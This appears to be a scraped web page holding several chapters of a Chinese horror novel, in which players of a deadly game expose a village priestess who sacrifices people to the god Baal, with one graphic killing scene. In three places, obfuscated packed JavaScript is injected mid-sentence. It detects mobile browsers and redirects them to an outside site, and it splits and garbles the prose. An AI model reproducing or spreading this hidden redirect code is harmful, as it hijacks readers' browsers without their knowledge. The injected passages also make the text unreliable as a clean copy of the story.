笑一声,不屑的目光在曹正扬身上游走:“你一个外乡人,能这么好心?” 曹正扬“嘿嘿”一笑:“当然不是,我只是听说你们村有个什么石头宝贝,我想着,我都告诉你这个消息了,你能不能……” “哦,原来是为了这个。”家福闻言意味不明地笑了下,米粒大小的眼睛充斥着不怀好意,“如果你说的是真的,我赏你一个,也不是不行。” “多谢多谢!”曹正扬迫不及待地起身带路,“那你赶紧跟我来吧!晚上那人跑了可就不好办了!” “就是你要闯祠堂?!”家福刚到就望到祠堂前彦歌的身影,三步并二步地迅速冲到祠堂门口。 他还以为这小子骗他的,没想到居然是真的。 “我没有哦。”彦歌听到身后的动静无辜地转身,“我是外地来的旅客,只是想在门口拍照而已。” “你看我跟他,谁更像小偷啊?” 家福点点头,长这么漂亮的人一定不会干这种事,于是他完全相信了彦歌的说辞,便一脸狰狞地转头看向曹正扬:“你骗我?!” “?”曹正扬一脸懵逼。 “不不不,误会误会。”曹正扬在家福暴怒前连忙摆手解释,“我这不是担心吗?你说如果万一是真的怎么办?” 家福不屑地扫了眼曹正扬:“我看你比较可疑吧,你就是为了神石而来的吧!” “神石?”彦歌眨眨眼,好奇地走上前,“什么神石?” “哦,没什么特别的,就是一个小物件。”听到彦歌提到石块,家福瞬间谨慎起来。 看来家福还有点脑子,随便问估计是问不出来。 彦歌浅浅一笑:“原来如此,是你们村特有的老物件吗?我一向喜欢收集这些东西,你方便给我看看吗?你看,我手上这块表也是我收来的,上面还刻着当地的特殊文字。” “真的啊!这个字我从来没有见过,还挺漂亮的。”家福有些惊叹地看着彦歌手上的腕表。 神特么的特殊文字?!欺负落后农村没见过英语啊! 曹正扬在旁边已经看呆了。 “如果你喜欢的话,我可以送给你。作为交换,你可以给我看看那个神石吗?”彦歌取下腕表,一脸期待地看向家福。 “这……”家福有些踌躇地望了望彦歌。 算了,反正只是看一看。 “那好吧,那我给你看看吧!”家福一咬牙,伸手接过彦歌递来的腕表。 “就是这个。”家福从兜里掏出一块黑色石块。 “只是一块有香味的石头吗?”彦歌很是失望,“感觉比我那块表普通多了。” “对啊!原来只是这样吗?还叫什么神石,亏我还那么想要呢!”曹正扬也凑上来,摇头失望地看向家福。 “你们懂什么!”家福一下急了,“你们别看它外表普通,它可是真能召唤神的!” “你唬人的吧?你以为取个名字叫神石就能召唤神了?”曹正扬“噗嗤”一笑,满脸嘲讽。 “你!”家福指着曹正扬连连转圈,“好,你不信是吧!反正你不是想要吗?那这个我就送给你,你今晚且看神会不会来找你吧!” “不过……”家福忽然神秘地笑了下,“可不是所有见过神的都能活下来,今晚到底如何,就看你的命了。” “那我就等着看看。”曹正扬敷衍地将石块放进口袋,看上去满不在乎。 “你为什么不给我?”彦歌见状有些不满,“我都把表送给你了!” “这……”家福有些着急的挠挠头,似乎担心彦歌将表要回去,“我今天只带了一块!因为之前……不是,总而言之,我有机会一定会再带一块给你的!” “那好吧。”彦歌装作很可惜的样子,“我还没见过神呢。” 家福露出意味不明的笑:“过几天我们村会办一场祭祀,感兴趣的话你可以来看看,或许有机会见到神。” 不等彦歌开口多问,家福忽然脸色大变:“村民怎么又回来了?难道……” “我得先回去了!不然被妈发现……”许是顾虑到彦歌和曹正扬还在,家福一下刹住了嘴,“你们也赶紧走吧!” 祠堂道口的村民已经开始露头,不能再耽搁下去了。 “我们先走。”彦歌收回视线,从反方向绕开村民往村外跑。 12. 人祭(12) “你看出什么了吗?”曹正扬靠在树上,将石块举在阳光下观察。 彦歌低头摸着自己空空如也的手腕,她还从来没有身上这么干净的情况。 “家福给王天天石块是为了他自己。” “怎么说?”曹正扬动作一顿,将石块收回裤兜。 “他之前干的事已经被里婆发现了,里婆如此震怒,他却还敢把这个给你。”彦歌瞥了眼曹正扬的裤兜,“而且从秦允听到的信息来看,这件事不仅对里婆毫无帮助,还会给她平添麻烦。如果家福的目的是为了帮里婆或者为自己邀功,那他刚才就不会冒这么大风险把这个给你。” “唯一的情况,他是为了自己。而且他一定有一个即使被里婆发现,也要给我们的理由。” 曹正扬恍然大悟地点头:“原来如此,那这么重要的理由会是什么?难道是……他不这么做就会死?”对曹正扬来说现在最重要的事就是活下去了,所以他下意识也以为家福也是。 “可是他不是里婆儿子吗?他怎么会死呢?”曹正扬说完感觉不靠谱,开始自我反驳。 彦歌没回应曹正扬,反而提出了一个莫名其妙的问题:“家福、小女孩以及村民,这三个人你都见过了,你觉得他们有什么不对?” “不对?”曹正扬挠挠头,“我感觉村民都怪怪的,表情什么都很僵硬;小女孩虽然也很古怪,但是交流起来还算正常;至于家福……感觉他跟我们,没什么区别?” “不过这有什么特殊的吗?” 彦歌没说话,等到不远处的秦允和赵祥赶到面前时才开口:“小女孩不是人,虽然不知道她是什么,但肯定不是人。而且村民,应该也都不是活人。” “正常啦,课题的NPC能有几个活人。”曹正扬只当彦歌是新人,主动积极为她科普,“这些NPC就没有正常的,就算是活人,也跟正常人不一样。” 彦歌没回应曹正扬,转头看向他们:“怎么样?” “拿到了。”赵祥拿起手上地族谱晃了晃,:“我们匆匆看了几眼,这个村子好像从二十年前开始,祭祀就再也没成功过。” “你们不觉得奇怪吗?二十多年祭祀一次没成功,可作为祭司的里婆还能如此德高望重。”彦歌接过族谱开始翻看,“是因为村民大度善良吗?” 三人身体猛地一震,全部凑上来盯着族谱。 族谱前面描述的是村子曾经在巴力神的庇佑下风调雨顺、富饶幸福的样子。但与现在不同的是,之前的祭祀需要的祭品只是瓜果牛羊,而不是活人,小女孩所掌握的六贡品也只是保卫村子的神兽与圣物。再往后翻,基本都是对村子的介绍和各届村长的生平,一直到二十年前,族谱的记载发生了巨变。 二十年前,村子忽然出现了一场疫病,这病猛烈强劲,几乎全村人都无法幸免。就在这危机时刻,里婆宣称是因为村子激怒了神,才会招来如此祸事,只有将掌管神物的人作为祭品,并以神物作为贡品献祭给巴力神,才能祈求巴力神的原谅。 这个说法莫名其妙并且毫无考究,但在当时几乎绝望的村民心中是唯一的救命稻草。所以,他们围剿了王梅一家,在逼死王梅后抓走了她的小女儿朵朵进行献祭。 “这个朵朵就是那个小女孩吧?”曹正扬问。 “不一定。”彦歌指着族谱上的一处,“这个王梅生的是双胞胎,朵朵苗苗可都没死。” 怪不得她那天觉得小女孩跟之前不太一样,原来是双胞胎。 祭祀失败了。神物居然分别掌管在王梅两个女儿手中,他们抓走了朵朵,但苗苗却跑了,导致贡品只集齐了三个。并且苗苗趁祭祀失败时,还操纵贡品救走了朵朵。村子被自私的王梅一家毁了......再往后翻,就是一片空白了。 彦歌将族谱往前翻:“这个脸熟悉吗?跟现在的村长一模一样呢。” 众人沉默地看着最后一届村长的画像,根据族谱记载,他现在应该七十多岁,可村长现在却仍与画像上五十岁时一模一样。 “这是什么情况?”曹正扬抢过族谱震惊地看向彦歌,“你是不是猜到村民的死跟里婆有关,所以刚才才那么问我?” “只有一点怀疑而已。”彦歌虽这么说,但眼中却并无震惊之色,“课题内的死亡条件都与课题相关,虽然这种条件隐蔽刁钻,但都是符合逻辑都而非凭空捏造的。既然如此,课题里的其他东西也应该都是符合逻辑的,不可能毫无缘由的出现一个全是死人的村民。” “所以你的意思是,整个村子只有家福是活人?”曹正扬皱着眉分析,“这我倒是理解,村民病死的,家福有里婆护着,但是朵朵不是被苗苗救走了吗?而且到现在也没抓回来,她们怎么死的?” “不知道。”彦歌睨了眼曹正扬,“我们拿一样的线索,我能知道什么?” “......”曹正扬蹲回去继续翻族谱。 不过眼下她倒是想到如何提前结束的办法了,只是具体是否可行还需要证实。 “小女孩到底死没死也不一定。”彦歌将曹正扬手里的族谱抽回来,“你们刚才注意到了吗?从这个族谱上的记载来看,里婆从胜任祭司到现在,可是已经过了一百多年了。” “正常人虽说也有活到一百岁的,但身体绝不可能那么好。”秦允想着里婆康健的样子,哪有半分百岁老人的样子? “而且在里婆之前的祭司,基本都是三四十年轮一次,到她这里居然能当这么久。” “你说的没错。”彦歌打了个响指,“而且小女孩之前说她现在被抓住就跑不掉了,说明里婆实力变强了。也就是说,里婆活祭的目的是为了她自己。” “那那场疫病就很可能是里婆策划的!”赵祥接着彦歌的话分析,“小女孩可以操纵祭品,拿她献祭不仅成功率大,而且还能将六贡品一起销毁,这样就完全没人能够与她抗衡了......” 赵祥感觉脊背一阵发凉:“好可怕的人。” “不仅如此,她这二十年的祭祀其实并没有完全失败,否则她不可能变强。”彦歌眉宇间闪过一丝阴霾,“她将村民作为祭品献祭给神,虽说他们并不是完美祭品,但人多选优,人少靠量。” “不过这种献祭应该有巨大的弊端。”彦歌想起集市上大哥的话,“她需要不断地献祭活人,否则她可能会遭到反噬或者别的什么,所以在村民死光后她才会开集市,吸引别村的人进来。” “那照你这么说,难道不应该死的人越多越好吗?”曹正扬不解发问,“那她为什么不支持家福的行为。” 彦歌微微眯眼:“神不满意了吧。如果你是神,你的信徒每天都拿残羹冷饭侍奉你,祈求的愿望却是长命百岁之类的,你会愿意吗?” 曹正扬摇摇头:“我不愿意。” “所以神当然也是。” “这样看来。”秦允将二者结合分析,“家福应该是担心里婆如果再抓不到让神称心如意的祭品,他就会像之前的小女孩一样,被里婆拿去献祭。毕竟他是里婆的儿子,即使没继承到里婆的能力,但将自己儿子拿去献祭也是诚心诚意了。” 彦歌:“目前也只有这个解释了。” “那这样的话,我们要是把小女孩抓给里婆岂不是死路一条?”曹正扬忽然觉得有些绝望,“还没成功就坏成这样了,成功了不得把我们全给吃了。” “一定还有别的方法。”秦允声音平稳,他还是很镇静,“课题不会设计死局。” “秦允说得对,而且我们现在已经知道的差不多了,只差最后收局。”彦歌不知想到了什么,脸上忽然露出一个弧度完美的微笑,“只要今晚成功了,明天一切都好说。” 曹正扬被彦歌这笑渗地一抖,他现在觉得算计人的彦歌最恐怖了。 . “彦歌,你今天在集市有什么发现吗?”杨伟脸色有些苍白,不知道今天经历了什么。 “没有。”彦歌再次露出假笑开始搪塞,“那些村民那么古怪,谁知道哪点不对就触及死亡条件了,你说呢?” 杨伟听完这话脸色更加苍白了,他僵硬地扯扯嘴角:“你说的有道理。但是后面我们在集市上怎么就没看见你了?你是有其他的发现吗?” “我们去哪还要跟你报备吗?”曹正扬“噌”地一下挡在彦歌面前,一脸不耐道。 “我不是这个意思......” 不等杨伟说完,刘飞就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662070|188491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲出来打断,他的语气急躁又愤怒:“你什么意思?当时不都说好了跟我们讲吗?!” 杨伟这次难得没有阻止刘飞,他努力克制眼中的急切与阴鸷,想让自己看上去风轻云淡:“彦歌,既然你都跟他们合作了,那跟我们分享一下又有什么关系?大家都是一个团队,而且我们手上说不定也有你们想要的线索。” “你觉得互相防备的人能合作吗?”彦歌收回笑容,摆回之前高傲冷淡的表情,“我们还是各找各的吧。” 这个杨伟今天在集市铁定遇到了事,而且极大可能触犯了死亡条件。杨伟不是好人,彦歌又正好需要有人替他死,眼下正好一石二鸟,她才不会帮忙。 “别再来烦我们了!”曹正扬双手抱臂,在杨伟耳边冷声警告。 “杨哥!我们怎么办......”刘飞望着他们上楼的背影,满脸焦急地问。 杨伟在彦歌走后再也收不住表情,充斥红血丝的阴毒双瞳死死盯着彦歌:“他们不义,就别怪我们不仁了!” “这两人不怀好意啊。”曹正扬偷瞄了眼楼下的二人,小声道:“会不会对我们有威胁。” “不用管,他们今晚自身难保,而且我们今晚也不在竹楼,构不成什么威胁。”彦歌说完又叮嘱他,“记得把那石块放王天天房间里,别带回去了。” “你放心。” 夜晚雨林的风黏腻又湿热,吹的彦歌胸腔灌满温热的空气,让她感觉自己的身体好似一个装满热水的热水袋。 彦歌已经站在窗前许久了,她早已做好跳楼的准备,毕竟呆在竹楼一定是死路一条。 但不知为何,到现在还是无事发生。 她的表给了家福,她无法知道过去了多久,现在又是几点。只能从直觉判断应该快到一点了。 秦允和曹正扬在半小时前就出发去了村子,她这边却到现在都没任何动静,难免不让人怀疑是不是村子那边出事了。 但秦允不会鲁莽行事,而且从竹楼到村子至少需要十五分钟,晚上他们应该会走的更慢。 到底是什么情况?难道是去杨伟哪了? 彦歌心跳莫名越来越大,她感觉这些杂念就像炸药的引线,只需一根燃着火星的火柴,就能把她吞噬。 “砰!” 彦歌被突然砸进窗户的石头吓了一跳,一下瘫坐在床上。 “谁?” 彦歌压下擂动的心跳,带着满身的冷汗小心地靠近窗户。 “是我呀!”底下的人抬起毛茸茸的脑袋,露出一张阳光俊朗的脸。 “曹正扬?”彦歌微微睁大双眼,“你怎么回来了?” “计划失误了!”曹正扬焦急地看着彦歌,“秦允被困住了,你快下来帮忙!” 彦歌的心一下跌入谷底,她担心的事果然发生了吗? “发生什么事了?” “路上说!你快下来,不然秦允就危险了!”曹正扬急切地拍了拍墙壁,“你快点呀!” 曹正扬这幅急切的样子让正准备下来的彦歌动作蓦地一顿:“曹正扬,赵祥呢?” “赵祥?”曹正扬眼珠快速一转,“赵祥在村子等着我们呢!你快点的吧!” 提出让赵祥接应,自己去祠堂的曹正扬怎么可能在发生危机时让赵祥一个人在村子等待?! 彦歌额头的汗将头发与头皮紧紧贴在一起:“你让他回来,我们先商量下计划!” “来不及了!”曹正扬圆大的眼睛死死盯着彦歌,嘴巴不停地张开又合起,像一台模仿人发声的机器,“你为什么不下来?你为什么不下来?!这个计划不是你计划的吗?!!” “下来吧。” “下来吧下来吧。” “下来就不会害怕了。” “快下来呀!” “下来!” 曹正扬的声音犹如实质,充斥在彦歌每一次的呼吸中。 彦歌感觉自己在这些声音里化成了一块糖果,而曹正扬就像糖果纸,她马上就要被做成糖果紧紧包裹在糖果纸里面了。 “嘻嘻嘻嘻嘻嘻嘻” 彦歌感觉口腔内的呼吸正在逐渐减少,周围巨大的压强几乎将她挤扁。 13. 人祭(13) “快下来……下来就解脱了……” 彦歌眼神空洞地望着楼下的曹正扬,她感觉自己很累,但眼皮却如水泥一般合不上也睁不开。 曹正扬是长这样的吗?彦歌靠在窗边恍惚地想。 他怎么有这么多只眼睛了? 曹正扬的样子不知何时变了,密密麻麻的血红眼球布满了他全身,可怖诡异的视线像一条贪吃的舌头,不加掩饰地舔?着彦歌。 好多人在看我……为什么…… 彦歌身体不受控制地往前,她全身都被汗浸透了,整个人像刚从水里捞出来。 “嘻嘻嘻” 曹正扬血红的眼珠死死盯着彦歌,嘴角的弧度随着彦歌靠近窗户的步伐越咧越大,露出里面森森的尖牙。 要窒息了……为什么没有空气? 彦歌张开嘴,却发现这样也无法呼吸。 是因为被包起来了吗?我跳出去,跳出去就能呼吸了。 彦歌双手撑在窗户上,正想翻身下去时却因为手上的汗不小心滑了一下,软绵无力的身体“砰”地一下砸在地板上。 我这是...... 身体忽然的倒地再加上被挤压到伤口,刺骨的疼痛让彦歌终于抓回了一丝清明。 那下面的,是巴力神! 祂想让自己为祂献祭,她跳下去就彻底沦为祂的信徒了! 彦歌大口大口呼吸着空气,按着胸口压制着因为后怕而响彻脑海的心跳声。 “彦歌?!” 巴力神还在窗外不停呼唤她,每一次的叫喊都在削减着彦歌的理智。 “滚!”彦歌拼尽全力冲着窗外嘶吼,“我不会给你献祭的!” 窗外的声音随着彦歌这声怒吼骤然消失。 这么轻易就走了? 彦歌撑着身体从地上缓慢起身,谨慎狐疑地往下看。 楼下居然真的没了曹正扬的身影,外面干净的连个脚印都没留下,仿佛刚才一切都是彦歌的臆想。 彦歌呼了口气,准备转身离开竹楼去找秦允他们汇合时,却突然感觉头上被一道阴冷渗人的目光死死盯着。 “……” 彦歌闭上双眼,迅速钻回房间。 “嘎吱嘎吱” “嘎吱嘎吱” 好像有什么东西顺着窗外爬了进来。 彦歌紧闭着眼,努力压制强烈的心悸,试图让自己冷静下来。 冰冷黏腻的目光顺着彦歌地小腿向上,一直到她面前才停住。 “嘻嘻” 彦歌在感知到那东西正跟自己面对面时,她差点以为自己死了。刚才还在她耳膜旁暴跳的心脏瞬间消音,她甚至连自己的呼吸都感觉不到了。 不知过了多久,久到彦歌双腿发麻几乎要支撑不住倒下时,那个东西才缓缓爬走。 “呼” 彦歌小幅度地动了动脚趾,确认那东西已经完全走了后,才开始慢慢找回自己身体的控制权。 吓死她了。 彦歌浑身无力地躺在床上。 这种恐惧到窒息的感觉她再也不想体会了。 “彦歌?彦歌!” 然而没等她开始休息,窗外又传来不知道谁的叫喊。 “……” 彦歌拖着身体面无表情地走到窗前蹲下,只露出一点脑袋往下看。 这次是赵祥。 “彦歌?你怎么样?”赵祥有些担心地抬头看着彦歌,“正扬他们到现在还没出来,我担心出事了,我们去找他们吧?” “……赵祥?”彦歌缓慢直起身,语气古怪地低头看向赵祥。 “是我。”赵祥眼神忽然警觉起来,小心地观察着彦歌,“有什么问题?” 看来这次是真的。 彦歌紧绷的心情松了松,她感觉自己有点ptsd了。 “没事,我现在下来。” 彦歌下来后赵祥不放心地扫视了她一圈:“你刚才怎么了?” “巴力神假扮曹正扬骗我。”彦歌言简意赅道。 “祂干嘛这么费尽心思?”赵祥替彦歌松了口气,“幸好你安全无事。” 呵呵,有些人表面风轻云淡,其实内心已经死了。 “祂想让我心甘情愿给祂献祭。”彦歌语气淡淡,好像刚才经历那些事的人不是她。 赵祥对彦歌佩服的五体投地,语气都带上了一些崇拜:“那正扬他们应该没什么事,而且杨伟他们也触犯了死亡条件,村子里应该没人有空管他们了。” “小心为上。”彦歌望着一片漆黑的村庄摇头,“巴力神已经走了,不知道现在去哪了,杨伟他们那边情况也不清楚,目前一切都是未知的。” 赵祥被彦歌这么一说,原本放松的心情又紧张起来:“那我们现在进去?他们不会有危险吧?” “再等等。”彦歌睨了眼赵祥,“你别着急,之前不是挺冷静的?” 赵祥抿抿唇,皱着眉望着村子。 “你俩关系怎么这么好?”彦歌像是打发时间随口一问。 “哦,我们高中一直到大学都在一个班。”赵祥似是想起之前的事,脸上神色轻松了些,“我们是很好的朋友,所以考研也报的同一个机构……” 赵祥苦涩一笑:“结果谁能想到是这么个情况。” “课题还可以组队吗?听曹正扬说,你们一直都是一起进课题。” “可以,在‘包你考上’登记组成考研小队就好了。”赵祥说着感觉更悲伤了,“我们进课题前就组了,本来是觉得好玩,结果阴差阳错现在居然还成好事了。” “你要是能组队也组吧,你一个女孩子在课题更不容易。” “有机会我会考虑的。” 彦歌忽然看向赵祥:“你有手机吗?几点了?” “有的。”赵祥掏出手机,“三点半了,手机在课题虽然没信号,但我感觉还是挺有用的,你下次也可以带。” 彦歌眉头微蹙,她莫名感觉有点不妙:“这么晚了还没出来?我们进去看看。” 雨林昼长夜短,四点多开始天就慢慢亮了,眼下三点了里面还没动静,只怕是出事了。 村子被浓郁的黑笼罩着,只能依靠依稀的月光辨认脚下的路。四周寂静无声,家家户户都紧闭着房门,看不出是有人还是无人。 彦歌和赵祥一路通畅地到达了祠堂。祠堂大门敞开,灵堂里的烛火不停地跳动着,幽幽照亮上面的牌位。 祠堂和村子里一样,空无一人,除了院子中心那颗中心裂开的“Y”型大树外,其他什么也没有。 “人呢?”赵祥担心地四处张望。 彦歌面色凝重:“先别管,小心点。” “噗滋唰——” 灵堂深处忽然传来一阵轻微的声响。 “靠近看看。”彦歌没敢发出声音,做出嘴型提醒赵祥。 赵祥重重点了下头,跟在彦歌身后小心地靠近灵堂。 因为不清楚里面什么情况,彦歌和赵祥不敢贸然进去,只躲在门旁悄声观察。 视线有限,灵堂光线又暗淡,他们除了满目的牌位外其他什么也看不到。 “彦歌,你看那个!”赵祥指着一个灵牌小声道。 彦歌顺着望去,那竟是一个刻着李青青名字的牌位! 难道这上面都是祭品的牌位?! 彦歌压下心中震惊,仔细地看过每一个牌位。 这灵堂果然都是祭品的牌位,上面不仅有李青青还有王天天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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彦歌拧眉:“发生什么了?” “刚开始一切都像彦歌说的那样,我们一路通畅地到了祠堂。”曹正扬说着脸上开始浮现后怕和愤怒,“我们线索都找的差不多了!都准备走了,杨伟跟刘飞两个突然就带着村民冲进了祠堂。” “幸好我们反应快,躲进了灵堂下面,不然我们现在就是死尸两具了。” “杨伟和刘飞也出来了?”彦歌虽有些意外但也觉得是意料之中,他们应是觉得触犯死亡条件死路一条,所以才想来搏一搏。 “对。”曹正扬眼中闪过一丝厌恶,“杨伟将刘飞推出去送死,然后自己跑了。” 彦歌脸上没什么表情,但眸中却一片嘲讽:“意料之中的事,杨伟要真在意刘飞,就不会每次都让他出头惹事了。” “他俩的事不重要,你们在祠堂找到了什么?” 秦允将手里的卷轴摊开,露出一副人头虫身的画像:“这是在灵堂背面找到的,应该是巴力神的画像。而灵堂上的牌位你应该也知道了,都是祭品的,他们这么做是为了将祭品的灵魂锁在长乐村中,要他们永生永世都供奉巴力神。” “应该还有别的用处吧。”彦歌有些嫌恶地挪开视线,巴力神的画像上密密麻麻布满了血红的虫眼,和她刚才见到的眼睛一模一样。 秦允点点头:“有,但灵堂并没有明确的线索。这还多亏了杨伟和刘飞,否则我们还找不到这么多线索。” 彦歌扬了扬下巴,示意他继续说。 “刘飞是在祠堂院子里被献祭的。”纵使秦允比一般人冷静,他也是第一次见到那么残忍可怖的画面,“你们还记得院子里那颗树吗?” 14. 人祭(14) 刘飞是被夹死的。 村民将他的头固定在树杈中,然后再从两侧合力把树往中间挤,就这么硬生生把刘飞的头挤爆。 “......天黑你们可能没注意到,那树上,还有院子四周,全是刘飞飞溅出的血。”秦允想起来那场面胃就忍不住收缩。 他们并未将刘飞完全挤死,特意留下了一口气。 里婆在刘飞脖子上划了一刀,接了一碗血。随后其他村民争先恐后地将刘飞身上的肉一片片割下,取出他的骨头,直到刘飞彻底死去。 “我说我们集市上看到的骨头哪里来的。”曹正扬皱着眉压抑自己呕吐的想法,“原来都是祭品的。他们把祭品骨头取出来做成那样,然后拿到集市上和其他物品混着卖,谁买走就是默认愿意献祭。” 彦歌心脏下意识一跳,不知道那个大哥买没买走。 “然后呢?”赵祥声音有些涩。 “哦。”曹正扬脸上闪过一丝喜色,“我们躲的那个柜子是他们装灵牌这些杂物的,可以直通后面。” “他们弄完后,里婆让村民把刘飞带走处理,然后带着几个村民和家福一起进了灵堂里面。里婆说这种残次的祭品不配上祭台,但看在他们诚心侍奉,所以准许他们死后可以进入灵堂,以自身灵魂壮大神力。” “具体她怎么操作的,我们躲在里面没敢看,只听到他们一直在念咒语。”曹正扬回忆先前的细节,“不过这些家福好像都不会,他们念咒的时候,家福一直在做刘飞的灵牌。” 彦歌问:“所以你们没被里婆发现?” 曹正扬摇摇头:“没有,我们当时哪敢出去,后面你来了,我们也没必要了。” “那巴力神为什么走了?”她原本以为是曹正扬他们搞的,但现在却并不是。 “应该是因为刘飞吧。”曹正扬耸耸肩,不是很在意,“反正你没事就好了。” 但彦歌仍觉得有点不对劲,巴力神怎么会因为一个刘飞就回去了?但现下没有别的线索,而且还有更紧急的事,彦歌没空多想。 彦歌暂时放下这个念头:“我之前判断错了。她的祭祀其实根本就没成功,她之所以能活到现在应是靠这些人续的命。” 秦允这下明白了:“你是说里婆把全村人都骗了,她是故意以朵朵苗苗出逃为由挑选残次品,但其实根本目的是拿他们的灵魂做法壮大自己?” 彦歌微抬下巴,默认了秦允的说法:“这下一切都说得通了。她献祭朵朵,逼死王梅一家,是因为他们家死了就没人能阻挡她了。而她对家福给石块的行为如此生气,是因为她根本就不是为了给神找祭品。” 她就觉得奇怪呢,嘴上天天喊着要把她这个祭品抓走,但每次都草草收场,原来如此啊。 “这快死光的村子好不容易来了我们几个活人,她还没来得及美美享受就被儿子先搞死一个,怪不得气成这样!”曹正扬一锤大腿,豁然开朗,“那这么看来,家福也不知道?” “他肯定知道。”彦歌想着家福那副恐惧的眼神,“不然他不会给你石块,也不会怕成那样。” 曹正扬了然地点点头:“那接下来我们怎么办?” “导师已经说了课题是祭祀,那我们的主线一定是跟祭祀紧密相关。但眼下里婆干的事虽残忍,但并不是主线。”秦允沉吟片刻后将视线转到一脸平静的彦歌,“你已经想到祭祀跟小女孩有关了?” 彦歌瞥了眼他,语气淡淡:“如果你不在意推算的过程有点小失误的话。” 秦允:“你想怎么做?” 彦歌看了眼天空,已经开始微微透着些光:“巴力神喜欢有神力的祭品,里婆不就是吗?” “我们去找小女孩,她们一定比我们还想里婆死。” “你知道她们在哪?”赵祥疑惑地问。 “别担心。”彦歌一边说着一边往山上走,“她们自己会出来的。” “彦歌,我们现在上山真的安全吗?”曹正扬搓着胳膊,一脸紧张地四处张望。 彦歌瞥了眼他:“里婆她们现在正忙,没空管我们。” “那巴力神呢?”曹正扬虽然害怕,但事情可是一件没忘。 “……” 彦歌下意识离曹正扬远了一点,“理论上应该没事。” “什么?!”曹正扬一个健步冲到彦歌身边,“那实践出问题怎么办?” 彦歌嫌弃地推了下曹正扬:“你离我远点。” “巴力神只要自愿献祭的祭品,你只要心神坚定,不被蛊惑,就不会有事。” “哦。”曹正扬放心了点,但随机又有点委屈,“你为啥要我离你远一点?” ……如果说被吓到了也太损她的英明。 彦歌移开视线:“我不喜欢卷发的男人。” 曹正扬很委屈,他是自来卷! “簌簌” 路旁的树林中突然传出一阵声响。 秦允瞬间警惕:“有东西。” 没过多久,林中就钻出了一只巨大的白鸟,是觅鸟。 彦歌:“这是贡品里的觅鸟。” 秦允几人放心下来。 “你在找我。”小女孩从觅鸟身后出来,面无表情地盯着彦歌。 彦歌走到小女孩面前,仔细端详一番后说:“你是姐姐,是朵朵还是苗苗?” “……苗苗。”苗苗跟朵朵虽然长相一样,但性格却比朵朵更沉稳冷静。 “你都知道了什么?” 彦歌双手按住苗苗的肩膀:“我什么都知道。我还知道,里婆一直想除掉你们。” 苗苗试着挣脱了一下,果然不行。 “……你想干嘛?”苗苗冷着脸看着彦歌。 彦歌嫣然一笑:“如果里婆实力再强一点,你们应该就躲不住了吧?” 苗苗撇开脸,沉默不语。 彦歌并不在意苗苗的态度:“如果我说我有办法可以杀死里婆,你愿意配合我吗?” “我凭什么信你?”苗苗猛然转头,眼里跳动着焰火。 彦歌垂眸盯着苗苗:“你有别的办法对付她吗?” 苗苗低着头沉默,许久后她才缓缓抬头:“我……” “不可以!”朵朵从树林从突然冲出来,满脸不信任地看着彦歌,“她不是好东西!她一定想把我们抓给里婆!” 彦歌没说话,盯着苗苗仔细看了几秒后松开抓住她的手。 苗苗有些震惊地看了眼彦歌,随即下定决心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你说的有道理,但......”苗苗语气有些担心,“里婆有村民护着,又有能接触神的神石,我们如何才能抓住她?” “所以我才需要你们的帮助。”彦歌弯下身,温柔地对苗苗朵朵一笑,“我相信你们没有问题的。” “而且还有一个人呢。” . “出现了?”跪拜在巴力神神像下的里婆缓缓抬头,她已经老的连笑容都透着一股死气了。 “伟大的神明啊!您果然眷顾着我!我永远是您最忠诚的信徒!” “咳咳咳!”难得的用力让里婆剧烈地咳嗽起来,“家福!咳咳!家福咳!过来!” “是,是!”家福慌慌张张地将什么东西收进口袋,忙不迭地赶到里婆身边,“您有什么事?” 里婆拿过一旁的拐杖,将自己腐朽的身躯撑起来:“带着村民去祭坛!” “朵朵苗苗,好久不见啊。”里婆抬头看向站在高高祭坛上的双胞胎,她许久没见过阳光了,此时竟有些睁不开眼。 朵朵高扬着眉,愤恨地瞪着里婆:“这么多年了,你居然还没有死!不愧是老巫婆!” “呵呵呵!”里婆抬起手指在空中轻轻一点,“你的脾气还是这样啊!” “不过都无所谓了。”里婆转身退到村民身后,“把她们抓起来,别让她们再次跑了。” 村民接到指令,全部一哄而上去抓捕双胞胎,彦歌趁着混乱迅速靠近里婆。 “嗯?”里婆鼻子翕动两下,感受着彦歌身上传来的气息,“原来是次等品,呵呵呵,这次还多亏了你!你献祭后我会特别给你优等品的待遇的!” 说谁次等品? 彦歌脸色骤然一黑。 15. 人祭(完) 彦歌压下心中不满,说服自己计划重要,“我都把她们带来了,作为交换,你让我走怎么样?” “呵呵呵,就算没有你,她们也撑不了多久。”里婆眼含深意地抬头,“而你,知道了我的事,我怎么能放你走呢?” “那就没什么好说的了!”彦歌眉毛一横,果断伸手想压制里婆。 谁知里婆反应极快,力气也大,一拐杖差点把彦歌敲在地上。 不是说她除了活得久、会布法阵,别的都不会吗?! 彦歌抚摸着自己的肚子直抽气。 这个村子的人都天生怪力吗? 里婆扫了眼地上的彦歌,冷声吩咐村民:“剩下的去把她给抓起来!一起绑到祭坛……” 话还没说完,村民就自动都汇聚过来,甚至包括之前追双胞胎的。 “你们干嘛?”里婆沉着脸看着向自己逼近的村民,“家福!把我的东西拿来!” 家福脸色苍白,双手颤抖着握着一个黑色匣子:“把……把里婆绑上去!” 里婆不可置信地扭头:“家福你?!” 一旁的彦歌缓缓松了口气。 赌对了。 家福是彦歌计划中唯一不可控的一项,但也是最重要的。 她没办法像找双胞胎一样去找家福合作,所以只能靠赌。赌家福是不是真的想里婆死。 